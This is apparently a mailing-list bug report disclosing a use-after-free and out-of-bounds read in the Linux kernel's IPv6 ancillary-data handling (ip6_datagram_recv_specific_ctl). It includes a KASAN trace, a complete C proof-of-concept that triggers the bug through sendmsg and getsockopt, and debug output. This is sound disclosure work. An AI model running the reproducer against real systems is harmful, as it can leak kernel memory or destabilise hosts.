Hi all, The following program triggers use-after-free in ip6_datagram_recv_specific_ctl, which may leak kernel memory. The kernel version is 4.8.0+ (on Oct 7 commit d1f5323370fceaed43a7ee38f4c7bfc7e70f28d0). ========================================================== BUG: KASAN: use-after-free in ip6_datagram_recv_specific_ctl+0x13f1/0x15c0 at addr ffff880029c84ec8 Read of size 1 by task poc/25548 Call Trace: [<ffffffff82cf43c9>] dump_stack+0x12e/0x185 /lib/dump_stack.c:15 [< inline >] print_address_description /mm/kasan/report.c:204 [<ffffffff817ced3b>] kasan_report_error+0x48b/0x4b0 /mm/kasan/report.c:283 [< inline >] kasan_report /mm/kasan/report.c:303 [<ffffffff817ced9e>] __asan_report_load1_noabort+0x3e/0x40 /mm/kasan/report.c:321 [<ffffffff85c71da1>] ip6_datagram_recv_specific_ctl+0x13f1/0x15c0 /net/ipv6/datagram.c:687 [<ffffffff85c734c3>] ip6_datagram_recv_ctl+0x33/0x40 [<ffffffff85c0b07c>] do_ipv6_getsockopt.isra.4+0xaec/0x2150 [<ffffffff85c0c7f6>] ipv6_getsockopt+0x116/0x230 [<ffffffff859b5a12>] tcp_getsockopt+0x82/0xd0 /net/ipv4/tcp.c:3035 [<ffffffff855fb385>] sock_common_getsockopt+0x95/0xd0 /net/core/sock.c:2647 [< inline >] SYSC_getsockopt /net/socket.c:1776 [<ffffffff855f8ba2>] SyS_getsockopt+0x142/0x230 /net/socket.c:1758 [<ffffffff8685cdc5>] entry_SYSCALL_64_fastpath+0x23/0xc6 Memory state around the buggy address: ffff880029c84d80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ffff880029c84e00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff > ffff880029c84e80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ^ ffff880029c84f00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ffff880029c84f80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
========================================================== #include <unistd.h> #include <stdint.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <linux/in.h> #include <linux/in6.h> #include <errno.h> #define IPV6_2292DSTOPTS 4 #define IPV6_2292PKTOPTIONS 6 #define IPV6_FLOWINFO 11 int main() { int fd; int i, r; int opt = 1, len = 0; struct msghdr msg; struct sockaddr_in6 addr; int sub_addr[4]; struct iovec iov; memset(sub_addr, 0, sizeof(sub_addr)); sub_addr[3] = 0x1000000; memcpy(&addr.sin6_addr, sub_addr, sizeof(sub_addr)); addr.sin6_family = AF_INET6; addr.sin6_port = 0x10ab; addr.sin6_flowinfo = 0x1; addr.sin6_scope_id = 0; mmap(0x20000000ul, 0x1c000ul, 0x3ul, 0x32ul, -1, 0x0ul, 0, 0, 0); memset(0x20000000, 'a', 0x1c000); fd = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); bind(fd, &addr, sizeof(addr)); setsockopt(fd, IPPROTO_IPV6, IPV6_2292DSTOPTS, &opt, 4); setsockopt(fd, IPPROTO_IPV6, IPV6_FLOWINFO, &opt, 4); addr.sin6_flowinfo = 0; addr.sin6_scope_id = 0; msg.msg_name = &addr; msg.msg_namelen = sizeof(addr); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_iov->iov_base = 0x20000000; msg.msg_iov->iov_len = 0x100; msg.msg_control = 0x20000000; msg.msg_controllen = 0x100; msg.msg_flags = 0; r = sendmsg(fd, &msg, MSG_FASTOPEN); if (r < 0) { printf("sendmsg errno=%d\n", r); } r = getsockopt(fd, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0x20012000ul, &len); if (r < 0) printf("getsockopt error\n"); return 0; } The following lines case out-of-bounds read, which may leak kernel memory by put_cmsg. 686 u8 *ptr = nh + opt->dst0; // Out-of-bouds when opt->dst0 is large. 687 put_cmsg(msg, SOL_IPV6, IPV6_2292DSTOPTS, (ptr[1]+1)<<3, ptr); I debuged using printk and got some values of opt as the following, which may help locate the root cause of the bug. Thanks. [85564.842733] degug: opt->iif is 0xe111121c [85564.842737] degug: opt->ra is 0x121c [85564.842741] degug: opt->dst0 is 0xe111 Best Regards, Baozeng Ding